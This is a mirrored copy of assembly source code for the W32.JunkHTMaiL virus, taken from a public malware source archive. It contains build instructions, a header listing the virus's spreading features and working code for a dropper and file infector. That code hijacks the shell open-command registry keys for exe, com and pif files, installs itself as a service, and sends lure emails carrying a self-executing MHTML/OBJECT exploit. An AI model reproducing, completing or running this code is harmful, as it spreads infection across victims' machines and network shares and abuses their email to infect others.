mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
3382 lines
119 KiB
NASM
3382 lines
119 KiB
NASM
|
|
comment ;)
|
|
W32.JunkHTMaiL by roy g biv (thanks to RT Fishel for previous contribution)
|
|
|
|
some of its features:
|
|
- parasitic resident (own process) infector of PE exe (but not looking at suffix)
|
|
- infects files in all directories on all fixed and network drives and network shares
|
|
- directory traversal is linked-list instead of recursive to reduce stack size
|
|
- enumerates shares on local network and also random IP addresses
|
|
- reloc section inserter/last section appender
|
|
- runs as service in NT/2000/XP and service process in 9x/Me
|
|
- hooks all executable shell\open\command values
|
|
- slow mailer using polymorphic mail headers and self-executing HTML
|
|
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
|
|
- uses CRCs instead of API names
|
|
- uses SEH for common code exit
|
|
- section attributes are never altered (virus is self-modifying but runs in writable memory)
|
|
- no infect files with data outside of image (eg self-extractors)
|
|
- infected files are padded by random amounts to confuse tail scanners
|
|
- uses SEH walker to find kernel address (no hard-coded addresses)
|
|
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
|
|
- plus some new code optimisations that were never seen before W32.EfishNC :)
|
|
|
|
yes, just a W32.JunkMail remake with a different exploit
|
|
---
|
|
|
|
optimisation tip: Windows appends ".dll" automatically, so this works:
|
|
push "cfs"
|
|
push esp
|
|
call LoadLibraryA
|
|
---
|
|
|
|
to build this thing:
|
|
tasm
|
|
----
|
|
tasm32 /ml /m3 junkhtml
|
|
tlink32 /B:400000 /x junkhtml,,,import32
|
|
|
|
Virus is not self-modifying, so no need to alter section attributes
|
|
---
|
|
|
|
We're in the middle of a phase transition:
|
|
a butterfly flapping its wings at
|
|
just the right moment could
|
|
cause a storm to happen.
|
|
-I'm trying to understand-
|
|
I'm at a moment in my life-
|
|
I don't know where to flap my wings.
|
|
(Danny Hillis)
|
|
|
|
(;
|
|
|
|
.486
|
|
.model flat
|
|
|
|
extern GlobalAlloc:proc
|
|
extern CreateFileA:proc
|
|
extern GetFileSize:proc
|
|
extern GetModuleFileNameA:proc
|
|
extern ReadFile:proc
|
|
extern WriteFile:proc
|
|
extern CloseHandle:proc
|
|
extern GlobalFree:proc
|
|
extern GetCurrentProcess:proc
|
|
extern WriteProcessMemory:proc
|
|
extern MessageBoxA:proc
|
|
extern ExitProcess:proc
|
|
|
|
.data
|
|
|
|
;to alter the text here, set compress_only to not-zero then run
|
|
;in that case, the compressed text is written to a file only
|
|
|
|
compress_only equ 0
|
|
|
|
ife compress_only
|
|
|
|
;must be reverse alphabetical order because they are stored on stack
|
|
;API names are not present in replications, only in dropper
|
|
|
|
expnames db "WriteFile" , 0
|
|
db "WinExec" , 0
|
|
db "SetFileAttributesA" , 0
|
|
db "MoveFileA" , 0
|
|
db "LoadLibraryA" , 0
|
|
db "GlobalFree" , 0
|
|
db "GlobalAlloc" , 0
|
|
db "GetWindowsDirectoryA", 0
|
|
db "GetTickCount" , 0
|
|
db "GetTempFileNameA" , 0
|
|
db "GetFileAttributesA" , 0
|
|
db "GetCurrentProcess" , 0
|
|
db "DeleteFileA" , 0
|
|
db "CreateFileA" , 0
|
|
db "CloseHandle" , 0
|
|
|
|
regnames db "RegSetValueA" , 0
|
|
db "OpenSCManagerA" , 0
|
|
db "CreateServiceA" , 0
|
|
db "CloseServiceHandle", 0
|
|
|
|
exenames db "LoadLibraryA" , 0
|
|
db "GlobalAlloc" , 0
|
|
db "GetVersion" , 0
|
|
db "GetTickCount" , 0
|
|
db "GetStartupInfoW", 0
|
|
db "GetStartupInfoA", 0
|
|
db "GetCommandLineW", 0
|
|
db "GetCommandLineA", 0
|
|
db "ExitProcess" , 0
|
|
db "CreateProcessW" , 0
|
|
db "CreateProcessA" , 0
|
|
|
|
usrnames db "CharNextW", 0
|
|
db "CharNextA", 0
|
|
|
|
svcnames db "StartServiceCtrlDispatcherA", 0
|
|
|
|
krnnames db "lstrlenW" , 0
|
|
db "lstrcpyW" , 0
|
|
db "lstrcatW" , 0
|
|
db "UnmapViewOfFile" , 0
|
|
db "Sleep" , 0
|
|
db "SetFileTime" , 0
|
|
db "SetFileAttributesW" , 0
|
|
db "SetFileAttributesA" , 0
|
|
db "SetCurrentDirectoryW" , 0
|
|
db "SetCurrentDirectoryA" , 0
|
|
db "ReadFile" , 0
|
|
db "MultiByteToWideChar" , 0
|
|
db "MapViewOfFile" , 0
|
|
db "LoadLibraryA" , 0
|
|
db "GlobalFree" , 0
|
|
db "GlobalAlloc" , 0
|
|
db "GetVersion" , 0
|
|
db "GetTickCount" , 0
|
|
db "GetModuleFileNameA" , 0
|
|
db "GetFullPathNameW" , 0
|
|
db "GetFullPathNameA" , 0
|
|
db "GetFileSize" , 0
|
|
db "GetDriveTypeA" , 0
|
|
db "FindNextFileW" , 0
|
|
db "FindNextFileA" , 0
|
|
db "FindFirstFileW" , 0
|
|
db "FindFirstFileA" , 0
|
|
db "FindClose" , 0
|
|
db "CreateThread" , 0
|
|
db "CreateFileW" , 0
|
|
db "CreateFileMappingA" , 0
|
|
db "CreateFileA" , 0
|
|
db "CloseHandle" , 0
|
|
|
|
sfcnames db "SfcIsFileProtected", 0
|
|
|
|
ws2names db "socket" , 0
|
|
db "send" , 0
|
|
db "gethostbyname", 0
|
|
db "connect" , 0
|
|
db "WSAStartup" , 0
|
|
|
|
netnames db "WNetOpenEnumW" , 0
|
|
db "WNetOpenEnumA" , 0
|
|
db "WNetEnumResourceW", 0
|
|
db "WNetEnumResourceA", 0
|
|
db "WNetCloseEnum" , 0
|
|
|
|
ip9xnames db "NetShareEnum", 0
|
|
|
|
ipntnames db "NetShareEnum" , 0
|
|
db "NetApiBufferFree", 0
|
|
|
|
endif
|
|
|
|
;only 0dh is required for new line, since 0ah is appended by decompressor
|
|
|
|
user1 equ ' '
|
|
user2 equ '/'
|
|
user3 equ ':' ;the three most frequent characters
|
|
|
|
smtp1 db offset smtp2 - offset $ - 2, "HELO ", 0
|
|
smtp2 db offset smtp3 - offset $ - 2, "MAIL FROM:<>", 0dh, 0
|
|
smtp3 db offset smtp4 - offset $ - 2, "RCPT TO:", 0
|
|
smtp4 db offset header1 - offset $ - 2, "DATA", 0dh, 0
|
|
header1 db offset header2 - offset $ - 2, "FROM: ", 0
|
|
header2 db offset header31 - offset $ - 2, "SUBJECT: Wanna see a e-mail exploit?", 0
|
|
header31 db offset header32 - offset $ - 2, 0dh, "MIME-VERSION:", 0
|
|
header32 db offset part11 - offset $ - 2, "1.0", 0
|
|
part11 db offset part12 - offset $ - 2, "CONTENT-TYPE:", 0
|
|
part12 db offset part13 - offset $ - 2, "MULTIPART/MIXED;", 0
|
|
part13 db offset body1 - offset $ - 2, " BOUNDARY=", 0
|
|
|
|
body1 db offset body2 - offset $ - 1
|
|
db 0dh, "Just click the attachment", 0dh
|
|
body2 db offset body3 - offset $ - 1
|
|
db "If the attachment is blocked by Outlook 2002 then see", 0dh
|
|
body3 db offset body4 - offset $ - 1
|
|
db "http://support.microsoft.com/support/kb/articles/q290/4/97.asp", 0dh
|
|
body4 db 0
|
|
|
|
part21 db offset part22 - offset $ - 2, "TEXT/PLAIN;", 0
|
|
part22 db offset part23 - offset $ - 2, " NAME=EMAIL.HTM", 0
|
|
part23 db offset part24 - offset $ - 2, 0dh, "CONTENT-TRANSFER-ENCODING:", 0
|
|
part24 db offset part25 - offset $ - 2, "QUOTED-PRINTABLE", 0
|
|
part25 db offset part26 - offset $ - 2, 0dh, "CONTENT-DISPOSITION:", 0
|
|
part26 db offset part27 - offset $ - 2, "ATTACHMENT", 0
|
|
part27 db offset part28 - offset $ - 2, "CONTENT-LOCATION:FILE:///.EXE", 0
|
|
part28 db offset part31 - offset $ - 2, "BASE64", 0
|
|
|
|
;just a bit too long for a single line... unless you remove the "moveBy"...
|
|
|
|
part31 db offset part32 - offset $ - 1, 0dh, "<SCRIPT>moveBy(9999);with(document)write(", 22h, "<OBJECT CLASSID='CLSID:1BADDEED'"
|
|
part32 db offset part41 - offset $ - 2, "CODEBASE='MHTML:", 22h, "+URL+", 22h, "!FILE:///.EXE'></OBJECT>", 22h, ")</SCRIPT>", 0
|
|
|
|
part41 db offset part42 - offset $ - 2, ".", 0dh, 0
|
|
part42 db offset part43 - offset $ - 2, "QUIT", 0dh, 0
|
|
part43 equ $
|
|
|
|
include junkhtml.inc
|
|
|
|
txttitle db "JunkHTMaiL", 0
|
|
|
|
if compress_only
|
|
txtbody db "compress done", 0
|
|
else
|
|
txtbody db "running...", 0
|
|
|
|
patch_host label near
|
|
pop ecx
|
|
push ecx
|
|
call $ + 5
|
|
pop eax
|
|
add eax, offset host_patch - offset $ + 6
|
|
sub ecx, eax
|
|
push ecx
|
|
mov eax, esp
|
|
xor edi, edi
|
|
push edi
|
|
push 4
|
|
push eax
|
|
push offset host_patch + 1
|
|
push esi
|
|
call WriteProcessMemory
|
|
jmp junkhtml_inf
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;everything before this point is dropper code
|
|
;-----------------------------------------------------------------------------
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;virus code begins here in infected files
|
|
;-----------------------------------------------------------------------------
|
|
|
|
junkhtml_inf proc near
|
|
pushad
|
|
call walk_seh
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
expcrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (expcrc_count + 1) dup (0)
|
|
expcrcend label near
|
|
dd offset drop_exp - offset expcrcend + 4
|
|
db "JunkHTMaiL - roy g biv" ;spam just got harder to remove ;)
|
|
|
|
walk_seh label near
|
|
xor esi, esi
|
|
lods dword ptr fs:[esi]
|
|
inc eax
|
|
|
|
seh_loop label near
|
|
dec eax
|
|
xchg esi, eax
|
|
lods dword ptr [esi]
|
|
inc eax
|
|
jne seh_loop
|
|
lods dword ptr [esi]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;moved label after some data because "e800000000" looks like virus code ;)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
init_findmz label near
|
|
inc eax
|
|
xchg edi, eax
|
|
|
|
find_mzhdr label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;do not use hard-coded kernel address values because it is not portable
|
|
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
|
|
;they will maybe change again for every new release
|
|
;-----------------------------------------------------------------------------
|
|
|
|
dec edi ;sub 64kb
|
|
xor di, di ;64kb align
|
|
call is_pehdr
|
|
jne find_mzhdr
|
|
mov ebx, edi
|
|
pop edi
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;parse export table
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
|
|
lea esi, dword ptr [ebx + esi + peexp.expordbase]
|
|
lods dword ptr [esi] ;Ordinal Base
|
|
lea ebp, dword ptr [eax * 2 + ebx]
|
|
lods dword ptr [esi]
|
|
lods dword ptr [esi]
|
|
lods dword ptr [esi] ;Export Address Table RVA
|
|
lea edx, dword ptr [ebx + eax]
|
|
lods dword ptr [esi] ;Name Pointer Table RVA
|
|
add ebp, dword ptr [esi] ;Ordinal Table RVA
|
|
lea ecx, dword ptr [ebx + eax]
|
|
mov esi, ecx
|
|
|
|
push_export label near
|
|
push ecx
|
|
|
|
get_export label near
|
|
lods dword ptr [esi]
|
|
push ebx
|
|
add ebx, eax ;Name Pointer VA
|
|
or eax, -1
|
|
|
|
crc_outer label near
|
|
xor al, byte ptr [ebx]
|
|
push 8
|
|
pop ecx
|
|
|
|
crc_inner label near
|
|
add eax, eax
|
|
jnb crc_skip
|
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|
|
|
crc_skip label near
|
|
loop crc_inner
|
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|
inc ebx ;carry not altered by inc
|
|
jb crc_outer
|
|
pop ebx
|
|
cmp dword ptr [edi], eax
|
|
jne get_export
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
|
|
;this allows to push addresses onto the stack, and the order is known
|
|
;-----------------------------------------------------------------------------
|
|
|
|
pop ecx
|
|
mov eax, esi
|
|
sub eax, ecx ;Name Pointer Table VA
|
|
shr eax, 1
|
|
movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
|
|
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
|
|
add eax, ebx
|
|
push eax
|
|
scas dword ptr [edi]
|
|
cmp dword ptr [edi], 0
|
|
jne push_export
|
|
add edi, dword ptr [edi + 4]
|
|
jmp edi
|
|
|
|
dispname label near
|
|
db "ExpIorer", 0
|
|
|
|
explabel label near
|
|
db "ExpIorer.exe", 0
|
|
|
|
expsize equ 0d4h
|
|
;RLE-based compressed MZ header, PE header, import table, section table
|
|
;execution continues immediately after compressed data. be careful ;)
|
|
|
|
dd 11111111110000011100001011100000b
|
|
; mmmmmmmmmmz 01mmz 02mmm
|
|
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
|
|
dd 00000110000111100001001010010000b
|
|
; z 01mz 03mmz 02r 04m
|
|
db 2, 2ch, 10h, 88h
|
|
dd 00000111110100100001001000111110b
|
|
; z 01mmmmr 02z 04mz 07mm
|
|
db 0fh, 3, 0bh, 1, 56h, (offset junkhtml_exe - offset junkhtml_inf + expsize) and 0ffh, ((junkhtml_exe - offset junkhtml_inf + expsize + 1000h) shr 8) and 0ffh
|
|
dd 00001001010010001011000010100001b
|
|
; z 02r 04mz 05mz 02mz 02
|
|
db 0ch, 40h, 10h
|
|
dd 00000110000101010111100001111100b
|
|
; z 01mz 02mr 07mz 03mmm
|
|
db 2, 1, 4, "Arc"
|
|
dd 00001010000101000111100000101001b
|
|
; z 02mz 03mz 07mz 01r 02
|
|
db ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1fffh) and not 0fffh) shr 8, expsize, 2
|
|
dd 10000111000011100001110000110101b
|
|
; mz 03mz 03mz 03mz 03r 04
|
|
db 1, 1, 1, 1
|
|
dd 10001110101001100101001111001111b
|
|
; mz 07r 04mmz 0ar 0er 0e
|
|
db 2, 8, 10h
|
|
dd 00010110000111000010100001101100b
|
|
; z 05mz 03mz 02mz 03r 08
|
|
db 10h, ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh) and not 1ffh) shr 8, 1
|
|
dd 00011110000000000000000000000000b
|
|
; z 07m
|
|
db 0e0h
|
|
dd 0
|
|
;decompressed data follow. 'X' bytes are set to random value every time
|
|
; db 'M', 'Z' ;00
|
|
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
|
|
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
|
|
; dw 14ch ;10 04 machine (overload for forwarder chain)
|
|
; dw 1 ;12 06 number of sections (overload for forwarder chain)
|
|
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
|
|
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
|
|
; db X, X, X, X ;1c 10 number of symbols
|
|
; dw 88h ;20 14 size of optional header
|
|
; dw 30fh ;22 16 characteristics
|
|
; dw 10bh ;24 18 magic
|
|
; db X ;26 1a major linker
|
|
; db X ;27 1b minor linker
|
|
; dd 0 ;28 1c size of code (overload for import table terminator)
|
|
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
|
|
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
|
|
; dd offset junkhtml_exe - offset junkhtml_inf + expsize + 1000h
|
|
; ;34 28 entry point
|
|
; db X, X, X, X ;38 2c base of code
|
|
; dd 0ch ;3c 30 base of data (overload for lfanew)
|
|
; dd 400000h ;40 34 image base
|
|
; dd 1000h ;44 38 section align
|
|
; dd 200h ;48 3c file align
|
|
; db 1, X ;4c 40 major os
|
|
; db X, X ;4e 42 minor os
|
|
; db X, X ;50 44 major image
|
|
; db X, X ;52 46 minor image
|
|
; dw 4 ;54 48 major subsys
|
|
; dw 0 ;56 4a minor subsys (overload for import name table)
|
|
; db "Arc", 0 ;58 4c reserved (overload for import name table)
|
|
; dd (aligned size of code) ;5c 50 size of image
|
|
; dd expsize ;60 54 size of headers
|
|
; dd 0 ;64 58 checksum
|
|
; dw 2 ;68 5c subsystem
|
|
; db X, X ;6a 5e dll characteristics
|
|
; dd 1 ;6c 60 size of stack reserve
|
|
; dd 1 ;70 64 size of stack commit
|
|
; dd 1 ;74 68 size of heap reserve
|
|
; dd 1 ;78 6c size of heap commit
|
|
; db X, X, X, X ;7c 70 loader flags
|
|
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
|
|
; dd 0 ;84 78 export
|
|
; db X, X, X, X ;88 7c export
|
|
; dd 1008h ;8c 80 import
|
|
; dd 0 ;90 84 import
|
|
; dd 0 ;94 88 resource
|
|
; db X, X, X, X ;98 8c resource
|
|
; db X, X, X, X, X, X, X, X ;9c 90 exception
|
|
; db X, X, X, X, X, X, X, X ;a4 98 certificate
|
|
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
|
|
; dd 0 ;b4 a8 debug (overload for virtual size)
|
|
; dd 1000h ;b8 ac debug (overload for virtual address)
|
|
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
|
|
; dd 1 ;c0 b4 architecture (overload for file offset)
|
|
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
|
|
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
|
|
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
|
|
; dd 0e0000000h ;d0 c4 tls (overload for section characteristics)
|
|
; ;d4
|
|
|
|
drop_exp label near
|
|
mov ebx, esp
|
|
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
|
|
mov edi, offset junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh
|
|
;file size must be > end of last section
|
|
push edi
|
|
xor ebp, ebp ;GMEM_FIXED
|
|
push ebp
|
|
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
|
|
push eax ;GlobalFree
|
|
push ebp ;WriteFile
|
|
push esp ;WriteFile
|
|
push edi ;WriteFile
|
|
push ebp ;CreateFileA
|
|
push FILE_ATTRIBUTE_HIDDEN ;CreateFileA
|
|
push CREATE_ALWAYS ;CreateFileA
|
|
push ebp ;CreateFileA
|
|
push ebp ;CreateFileA
|
|
push GENERIC_WRITE ;CreateFileA
|
|
push eax ;CreateFileA
|
|
lea ecx, dword ptr [eax + 7fh]
|
|
push ecx ;MoveFileA
|
|
push eax ;MoveFileA
|
|
push eax ;GetFileAttributesA
|
|
push ebp ;SetFileAttributesA
|
|
push eax ;SetFileAttributesA
|
|
push ecx ;DeleteFileA
|
|
push ecx ;GetTempFileNameA
|
|
push ebp ;GetTempFileNameA
|
|
push esp ;GetTempFileNameA
|
|
push eax ;GetTempFileNameA
|
|
push edi ;GetWindowsDirectoryA
|
|
push eax ;GetWindowsDirectoryA
|
|
xchg ebp, eax
|
|
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
|
|
lea edi, dword ptr [ebp + eax - 1]
|
|
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
|
|
call dword ptr [ebx + expcrcstk.pDeleteFileA]
|
|
mov al, '\'
|
|
scas byte ptr [edi]
|
|
je skip_slash
|
|
stos byte ptr [edi]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;append exe name, assumes name is 0dh bytes long
|
|
;-----------------------------------------------------------------------------
|
|
|
|
skip_slash label near
|
|
movs dword ptr [edi], dword ptr [esi]
|
|
movs dword ptr [edi], dword ptr [esi]
|
|
movs dword ptr [edi], dword ptr [esi]
|
|
movs byte ptr [edi], byte ptr [esi]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
|
|
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
|
|
test al, FILE_ATTRIBUTE_DIRECTORY
|
|
pop ecx
|
|
pop eax
|
|
je skip_move
|
|
push eax
|
|
push ecx
|
|
call dword ptr [ebx + expcrcstk.pMoveFileA]
|
|
|
|
skip_move label near
|
|
call dword ptr [ebx + expcrcstk.pCreateFileA]
|
|
push edi ;WriteFile
|
|
push ebx
|
|
xchg ebp, eax
|
|
call dword ptr [ebx + expcrcstk.pGetTickCount]
|
|
xchg ebx, eax
|
|
xor ecx, ecx
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;decompress MZ header, PE header, section table, import table
|
|
;-----------------------------------------------------------------------------
|
|
|
|
lods dword ptr [esi]
|
|
|
|
copy_bytes label near
|
|
movs byte ptr [edi], byte ptr [esi]
|
|
|
|
test_bits label near
|
|
add eax, eax
|
|
jb copy_bytes
|
|
add eax, eax
|
|
sbb dl, dl
|
|
shld ecx, eax, 4
|
|
shl eax, 4
|
|
xchg edx, eax
|
|
rep stos byte ptr [edi]
|
|
xchg edx, eax
|
|
jne test_bits
|
|
lods dword ptr [esi]
|
|
test eax, eax
|
|
jne test_bits
|
|
mov cx, offset mail_recip - offset junkhtml_inf
|
|
sub esi, offset drop_exp - offset junkhtml_inf
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
mov al, "'"
|
|
stos byte ptr [edi]
|
|
pop ebx
|
|
push ebp
|
|
call dword ptr [ebx + expcrcstk.pWriteFile]
|
|
push ebp
|
|
call dword ptr [ebx + expcrcstk.pCloseHandle]
|
|
pop eax
|
|
push eax
|
|
inc ebp
|
|
je load_regdll ;allow only 1 copy to run
|
|
push 0
|
|
push eax
|
|
call dword ptr [ebx + expcrcstk.pWinExec]
|
|
|
|
load_regdll label near
|
|
sub esi, offset mail_recip - offset regdll
|
|
push esi
|
|
call dword ptr [ebx + expcrcstk.pLoadLibraryA]
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
regcrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (regcrc_count + 1) dup (0)
|
|
regcrcend label near
|
|
dd offset reg_file - offset regcrcend + 4
|
|
|
|
regval db 'ExpIorer "%1" %*', 0
|
|
regkey db "\com" ;no regedit.com ;)
|
|
db "\exe" ;must be 4 bytes long
|
|
db "\pif" ;hook all executable suffix (except .scr which passes /S)
|
|
reg_file label near ;must follow immediately
|
|
mov ebx, esp
|
|
mov ecx, HKEY_LOCAL_MACHINE ;can obfuscate and same size if push 5+pop ecx+ror ecx, 1
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;alter Software\Classes in Local Machine and Current User
|
|
;because in Windows 2000/XP, Current User values override Local Machine values
|
|
;-----------------------------------------------------------------------------
|
|
|
|
reg_loopouter label near
|
|
lea ebp, dword ptr [edi + offset regval - offset reg_file]
|
|
sub edi, offset reg_file - offset regkey
|
|
push (offset reg_file - offset regkey) shr 2
|
|
pop esi
|
|
|
|
reg_loopinner label near
|
|
push ecx
|
|
push "dna"
|
|
push "mmoc"
|
|
push "\nep"
|
|
push "o\ll"
|
|
push "ehs\"
|
|
push "elif"
|
|
push dword ptr [edi] ;comfile, exefile, piffile
|
|
push "sess"
|
|
push "alc\"
|
|
push "eraw"
|
|
push "tfos" ;obfuscated ;)
|
|
mov eax, esp
|
|
push offset regkey - offset regval
|
|
push ebp
|
|
push REG_SZ
|
|
push eax
|
|
push ecx
|
|
call dword ptr [ebx + regcrcstk.rRegSetValueA]
|
|
;RegSetValue creates keys
|
|
add esp, 2ch ;size software\classes\???file\shell\open\command
|
|
scas dword ptr [edi]
|
|
pop ecx
|
|
dec esi
|
|
jne reg_loopinner
|
|
loopw reg_loopouter ;decrements CX only
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
|
|
;no start service because code is running already
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push SC_MANAGER_CREATE_SERVICE
|
|
push esi
|
|
push esi
|
|
call dword ptr [ebx + regcrcstk.rOpenSCManagerA]
|
|
mov ecx, dword ptr [ebx + size regcrcstk]
|
|
push ecx
|
|
push eax
|
|
push esi
|
|
push esi
|
|
push esi
|
|
push esi
|
|
push esi
|
|
push ecx
|
|
push esi ;SERVICE_ERROR_IGNORE
|
|
push SERVICE_AUTO_START
|
|
push SERVICE_WIN32_OWN_PROCESS
|
|
push esi
|
|
sub edi, offset reg_file - offset dispname
|
|
push edi
|
|
add edi, offset explabel - offset dispname
|
|
push edi
|
|
push eax
|
|
call dword ptr [ebx + regcrcstk.rCreateServiceA]
|
|
push eax
|
|
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
|
|
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
|
|
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
|
|
popad
|
|
|
|
host_patch label near
|
|
db 0e9h, 'rgb!'
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;virus code begins here in dropped exe
|
|
;-----------------------------------------------------------------------------
|
|
|
|
junkhtml_exe label near
|
|
call walk_seh
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
execrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (execrc_count + 1) dup (0)
|
|
execrcend label near
|
|
dd offset load_user32 - offset execrcend + 4
|
|
|
|
load_user32 label near
|
|
call skip_user32
|
|
db "user32", 0
|
|
|
|
skip_user32 label near
|
|
call dword ptr [esp + execrcstk.eLoadLibraryA + 4]
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
usrcrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (usrcrc_count + 1) dup (0)
|
|
usrcrcend label near
|
|
dd offset get_cmdline - offset usrcrcend + 4
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;determine platform and dynamically select function types (ANSI or Unicode)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
get_cmdline label near
|
|
mov ebx, esp
|
|
call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
|
|
shr eax, 1fh
|
|
lea esi, dword ptr [eax * 4 + ebx]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;RegisterServiceProcess() if 9x/Me (just sets one bit)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ecx, dword ptr fs:[tib.TibTeb]
|
|
or byte ptr [ecx + teb.procflags + 1], al
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;parse command-line in platform-independent way to see how file was run
|
|
;-----------------------------------------------------------------------------
|
|
|
|
dec ax
|
|
mov al, 0ffh
|
|
xchg edi, eax ;ffff if Unicode, 00ff if ANSI
|
|
mov eax, dword ptr [esi + usrcrcstk.uCharNextW]
|
|
mov dword ptr ds:[offset store_charnext - offset junkhtml_inf + expsize + 401001h], eax
|
|
call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]
|
|
|
|
stack_delta label near
|
|
mov ebp, dword ptr [eax]
|
|
and ebp, edi
|
|
cmp ebp, '"' ;Unicode-compatible compare
|
|
je skip_argv0
|
|
push ' '
|
|
pop ebp
|
|
|
|
skip_argv0 label near
|
|
push eax
|
|
call dword ptr [esi + usrcrcstk.uCharNextW]
|
|
mov ecx, dword ptr [eax]
|
|
and ecx, edi
|
|
je argv1_skip
|
|
cmp ecx, ebp
|
|
jne skip_argv0
|
|
|
|
find_argv1 label near
|
|
push eax
|
|
call dword ptr [esi + usrcrcstk.uCharNextW]
|
|
mov ecx, dword ptr [eax]
|
|
and ecx, edi
|
|
cmp ecx, ' ' ;Unicode-compatible compare
|
|
je find_argv1
|
|
|
|
argv1_skip label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if argv1 exists then argv0 was run using shell\open\command so run argv1
|
|
;-----------------------------------------------------------------------------
|
|
|
|
jecxz stack_copy
|
|
sub esp, size processinfo
|
|
mov edx, esp
|
|
sub esp, size startupinfo
|
|
mov ecx, esp
|
|
push edx
|
|
push ecx
|
|
xor edx, edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push eax
|
|
push edx
|
|
push ecx
|
|
call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
|
|
call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
|
|
call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;allocate stack space for RNG cache
|
|
;-----------------------------------------------------------------------------
|
|
|
|
stack_copy label near
|
|
mov ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
|
|
call ebx ;RNG seed
|
|
enter (statelen + 1) shl 2, 0 ;RNG cache
|
|
mov edi, esp
|
|
call randinit
|
|
mov edi, ebx
|
|
call find_mzhdr
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
krncrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (krncrc_count + 1) dup (0)
|
|
krncrcend label near
|
|
dd offset swap_create - offset krncrcend + 4
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;swap CreateFileW and CreateFileMappingA because of alphabet order
|
|
;-----------------------------------------------------------------------------
|
|
|
|
swap_create label near
|
|
mov dword ptr ds:[offset store_krnapi - offset junkhtml_inf + expsize + 401003h], esp
|
|
mov ebx, esp
|
|
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
|
|
